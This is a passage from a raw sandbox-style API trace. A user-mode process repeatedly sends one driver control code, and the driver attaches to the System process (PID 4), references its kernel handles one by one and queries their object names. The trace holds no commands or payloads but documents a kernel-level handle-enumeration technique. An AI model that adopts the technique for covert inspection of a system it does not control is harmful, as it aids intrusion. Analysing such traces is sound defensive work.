Object=0xfffff88005233548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0089.155] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.155] PsReleaseProcessExitSynchronization () returned 0x2 [0089.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.155] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa8003a74044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a74044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.155] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0089.155] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.155] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.155] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0089.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.155] PsAcquireProcessExitSynchronization () returned 0x0 [0089.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.155] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0089.155] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.155] PsReleaseProcessExitSynchronization () returned 0x2 [0089.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.155] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.155] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0089.155] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.155] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.155] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0089.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.155] PsAcquireProcessExitSynchronization () returned 0x0 [0089.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.155] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0089.155] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.155] PsReleaseProcessExitSynchronization () returned 0x2 [0089.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.155] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.155] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0089.155] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.156] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.156] PsAcquireProcessExitSynchronization () returned 0x0 [0089.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0089.156] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.156] PsReleaseProcessExitSynchronization () returned 0x2 [0089.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.156] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.156] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0089.156] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.156] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0089.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.156] PsAcquireProcessExitSynchronization () returned 0x0 [0089.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0089.156] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.156] PsReleaseProcessExitSynchronization () returned 0x2 [0089.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.156] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.156] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0089.156] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.156] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.156] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0089.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.156] PsAcquireProcessExitSynchronization () returned 0x0 [0089.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.157] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0089.157] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.157] PsReleaseProcessExitSynchronization () returned 0x2 [0089.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0089.157] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0089.157] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.157] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.157] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0089.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.157] PsAcquireProcessExitSynchronization () returned 0x0 [0089.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.157] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0089.157] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.157] PsReleaseProcessExitSynchronization () returned 0x2 [0089.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.157] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.157] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0089.157] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.157] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.157] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0089.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.157] PsAcquireProcessExitSynchronization () returned 0x0 [0089.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.157] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0089.157] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.157] PsReleaseProcessExitSynchronization () returned 0x2 [0089.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.157] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0089.157] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.157] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.158] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0089.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.158] PsAcquireProcessExitSynchronization () returned 0x0 [0089.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.158] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0089.158] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.158] PsReleaseProcessExitSynchronization () returned 0x2 [0089.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.158] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.158] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0089.158] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.158] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.158] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0089.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.158] PsAcquireProcessExitSynchronization () returned 0x0 [0089.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.158] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0089.158] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.158] PsReleaseProcessExitSynchronization () returned 0x2 [0089.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.158] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa8003aaf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003aaf044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.158] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0089.158] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.158] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.158] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0089.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.159] PsAcquireProcessExitSynchronization () returned 0x0 [0089.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0089.159] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.159] PsReleaseProcessExitSynchronization () returned 0x2 [0089.159] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.159] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.159] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0089.159] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.159] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.159] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0089.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.159] PsAcquireProcessExitSynchronization () returned 0x0 [0089.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0089.159] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.159] PsReleaseProcessExitSynchronization () returned 0x2 [0089.159] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.159] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.159] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0089.159] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.159] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.159] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.159] PsAcquireProcessExitSynchronization () returned 0x0 [0089.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800288ff20, HandleInformation=0x0) returned 0x0 [0089.159] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.159] PsReleaseProcessExitSynchronization () returned 0x2 [0089.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.160] ObQueryNameString (in: Object=0xfffffa800288ff20, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.160] ObfDereferenceObject (Object=0xfffffa800288ff20) returned 0x2 [0089.160] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.160] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.160] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0089.160] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.160] PsAcquireProcessExitSynchronization () returned 0x0 [0089.160] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.160] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0089.160] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.160] PsReleaseProcessExitSynchronization () returned 0x2 [0089.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.160] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.160] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0089.160] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.160] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.160] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.160] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.160] PsAcquireProcessExitSynchronization () returned 0x0 [0089.160] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.160] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0089.160] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.160] PsReleaseProcessExitSynchronization () returned 0x2 [0089.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.160] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa8003ac3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.161] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0089.161] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.161] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.161] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.161] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.161] PsAcquireProcessExitSynchronization () returned 0x0 [0089.161] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.161] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0089.161] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.161] PsReleaseProcessExitSynchronization () returned 0x2 [0089.161] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.161] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.161] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0089.161] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.161] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.161] RtlAllocateHeap (HeapHandle=0x210000, 